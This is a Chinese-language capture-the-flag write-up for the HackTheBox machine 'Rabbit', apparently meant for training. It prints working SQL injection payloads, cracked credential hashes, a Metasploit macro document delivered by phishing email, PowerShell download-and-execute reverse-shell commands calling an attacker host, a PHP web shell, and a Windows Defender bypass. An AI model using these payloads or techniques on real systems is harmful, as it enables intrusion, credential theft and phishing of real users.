Rabbit是一个非常困难的靶机,知识点涉及垂直越权、SQL注入、邮件钓鱼、服务提权、Windows Defender
绕过等感兴趣的同学可以在HackTheBox中进行学习。
通关思维导图
0x01 侦查
端口探测
首先通过nmap对目标进行端口扫描
nmap -Pn -p- -sV -sC -A 10.10.10.71 -oA nmap_Rabbit
扫描结果显示目标开放了80、88、135、443、445等端口,不愧是”狡兔三窟“
80端口
访问后站点显示403
443端口
访问后发现这是 IIS 7 的默认界面
使用 gobuster 对站点进行目录扫描
gobuster dir -u https://10.10.10.71 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
注意:需要添加-k参数英语跳过证书认证,否则会出现无效证书的报错信息
正常情况访问到的目录都指向https://10.10.10.71/owa
访问该目录发现这是 outlook 邮件登陆界面
Outlook是由微软公司所出品Office内的个人信息管理系统软件,功能包括收发电子邮件、查看日历等
8080端口
访问后发现这是一个演示界面
使用 gobuster 对站点进行目录扫描
gobuster dir -u http://10.10.10.71:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
结果存在两个301跳转,分别访问对应目录/joomla、/complain
在/joomla目录中未发现可利用点
/comlain目录则是一个名为 Complain Management System 的应用 默认账号密码
为admin/admin123,但无法登录
垂直越权漏洞
尝试在注册页面/complain/register.php中注册账户,设置账号密码为admin/admin123用户
类型为 Customer,注册完成后进入用户界面。
点击View Complain Details发现其参数对应的是mod=customer&view=compDetails
在请求中将参数mod修改为 admin 后可以发能够看到投诉详情,说明存在垂直越权漏洞
SQL注入漏洞
在 exploit-db 中我们发现 Complain Management System 除了越权以外还存在SQL注入漏洞路径
为/complain/view.php?mod=admin&view=repod&id=plans,开始尝试进行手工注入
参考文章1:https://www.exploit-db.com/exploits/42968
参考文章2:https://www.exploit-db.com/exploits/41131
首先获取数据库的基本信息,发现当前数据库版本为 5.7.19,当前用户为 Dbuser@localhost
id=engineer union all select 1,version(),3,user(),5,database(),7--
查看所有数据库名,其中包含secret、Joomla等
id=engineer union all select 1,schema_name,3,4,5,6,7 from information_schema.schemata--
查看secret数据库中的所有表,其中包含users表
注意:需要将库名修改为hex编码
id=engineer union all select 1,table_name,3,4,5,6,7 from information_sc
hema.tables where table_schema=0x736563726574--
查看users表中所有列名,其中包含username和password
id=engineer union all select 1,column_name,3,4,5,6,7 from informati
on_schema.columns where table_name=0x7573657273--
尝试获取users表中列名username和password当中的数据
id=engineer union all select 1,username,password,4,5,6,7 from secret.users--
成功获取账号密码如下:
Kain 33903fbcc0b1046a09edfaa0a65e8f8c
Raziel 719da165a626b4cf23b626896c213b84
Ariel B9c2538d92362e0e18e52d0ee9ca0c6f
Dimitri D459f76a5eeeed0eca8ab4476c144ac4
Magnus 370fc3559c9f0bff80543f2e1151c537
Zephon 13fa8abd10eed98d89fd6fc678afaf94
Turel D322dc36451587ea2994c84c9d9717a1
Dumah 33da7a40473c1637f1a2e142f4925194
Malek Dea56e47f1c62c30b83b70eb281a6c39
Moebius A6f30815a43f38ec6de95b9a9d74da37
当然我们也可以直接利用 sqlmap 来获取对应信息
sqlmap -u 'http://10.10.10.71:8080/complain/view.php?mod=admin&view=repo
d&id=plans' --cookie='PHPSESSID= ' -D secret -T users --dump
注意:需要在其中填入 Cookie 信息
在破解网站对获取到的密文进行破解
破解网站:https://crackstation.net/
解密结果如下:
33903fbcc0b1046a09edfaa0a65e8f8c md5 doradaybendita
719da165a626b4cf23b626896c213b84 md5 kelseylovesbarry
B9c2538d92362e0e18e52d0ee9ca0c6f md5 pussycatdolls
D459f76a5eeeed0eca8ab4476c144ac4 md5 shaunamaloney
370fc3559c9f0bff80543f2e1151c537 md5 xNnWo6272k7x
13fa8abd10eed98d89fd6fc678afaf94 Unknown Not found.
D322dc36451587ea2994c84c9d9717a1 Unknown Not found.
33da7a40473c1637f1a2e142f4925194 md5 popcorn
Dea56e47f1c62c30b83b70eb281a6c39 md5 barcelona
A6f30815a43f38ec6de95b9a9d74da37 md5 santiago
0x02 上线[raziel]
OWA邮件系统
使用破解后的账号密码Kain/doradaybendita登录OWA
查看邮箱中的邮件以获取关键信息
在其中我们获取到如下信息:
1.Open Office 已部署
2.Windows Defender 已开启
3.PowerShell 已限制
制作木马
使用 MSF 针对 Open Office 生成反弹shell文档msf.odt
msfconsole
msf > use exploit/multi/misc/openoffice_document_macro
msf > set srvhost 10.10.14.17
msf > set lhost 10.10.14.17
msf > run
将文档后缀名修改为.zip并将其解压
mv msf.odt msf.zip
解压后在其中找到Basic/Standard/目录,编辑文件Module1.xml并修改payload如下
powershell.exe IEX (New-Object System.Net.Webclient).DownloadString('http://10.10.14.17
/powercat.ps1');powercat -c 10.10.14.17 -p 1234 -e cmd
根据提示信息可知目前 powershell 已被限制,尝试将其版本修改为2来绕过限制
powershell.exe -version 2 IEX (New-Object System.Net.Webclient).Downloa
dString('http://10.10.14.17/powercat.ps1');powercat -c 10.10.14.17 -p 1234 -e cmd;
接下来将powercat.ps1复制到本目录下并开启 http 服务
cp /root/hackthebox/Machines/Jeeves/powercat.ps1 .
python -m SimpleHTTPServer 80
在本地监听1234端口
nc -nvlp 1234
钓鱼邮件
在尝试发送邮件时又遇到一个小问题:选择邮件发送但是无法上传文件。通过不断尝试后我们发现
了解决方法只需要在登录界面选择轻量版登录即可
将用户切换为 Ariel 后上传文件并向每个联系人发送邮件
经过漫长的等待之后成功拿到反弹shell,但这个shell每隔一段时间就会自动断开
在当前用户桌面上寻找flag,成功拿到第一个flag
dir C:\Users\Raziel\Desktop
type C:\Users\Raziel\Desktop\user.txt
0x03 权限提升[system]
信息收集
查看系统信息,发现操作系统版本为 Windows Server 2008 R2
systeminfo
系统中安装多个补丁,经检测后发现无法使用内核提权
在进程中未发现可用信息
tasklist /v
在服务中发现 Apache 和 Mysql 服务,它们的运行权限都为系统权限,因此我们可以从这些服务入手完成提权
wmic service where started=true get name,startname
Windows Defender限制
检查当前用户对wamp根目录拥有何种权限,结果显示具有写入权限
cacls C:\wamp64
既然如此我们可进入 web 目录并插入木马,但是木马cmd.php一经写入直接被 Windows Defender 杀掉
echo '<?php echo system($_GET["cmd"]);?>' > cmd.php
certutil -urlcache -split -f http://10.10.14.17/cmd.php c:\wamp64\www\cmd.php
尝试上传 nc.exe,但没过一会 nc.exe 也被杀掉了
certutil -f -split -urlcache http://10.10.14.17/nc.exe C:\Temp\nc.exe
那么我们还是尝试使用之前的 powershell v2 来绕过 Windows Defender
Windows Defender绕过
创建cmd.bat文件用于设置反弹shell
powershell.exe -version 2 IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.10.14.17/powercat.ps1');powercat -c 10.10.14.17 -p 2345 -e cmd;
创建cmd.php文件用于执行bat文件
<?php echo exec("C:\wamp64\www\cmd.bat");?>
使用 certutil 上传cmd.bat、cmd.php
certutil -urlcache -split -f http://10.10.14.17/cmd.php c:\wamp64\www\cmd.php
certutil -urlcache -split -f http://10.10.14.17/cmd.bat c:\wamp64\www\cmd.bat
在本地监听2345端口
nc -nvlp 2345
访问木马地址/cmd.php可成功获得目标shell
curl http://10.10.10.71:8080/cmd.php
在管理员桌面上寻找flag
dir c:\Users\Administrator\Desktop
type c:\Users\Administrator\Desktop\root.txt
成功获取第二个flag
总结:由于该靶机存在N多个端口,因此我们初期的工作就是寻找弱点。最终在位于8080端口的站点中找到了应用Complain
Management System,通过搜索该应用系统的Nday漏洞,其中存在的SQL注入帮助我们获取到了需要的账号密码,利用其
中的账号密码登陆OWA并发送带有恶意odt的钓鱼邮件,受害者打开后会执行反弹shell,从而成功获取用户权限。在靶机中
存在杀软Windows Defender,我们可利用Powershell v2编写bat脚本用于绕过杀软,当然令人震惊的还是Apache服务的
运行权限居然是系统权限,我们可将木马上传至web站点,使用PHP执行bat脚本
这样就成功借助Apache服务提权至系统权限。 |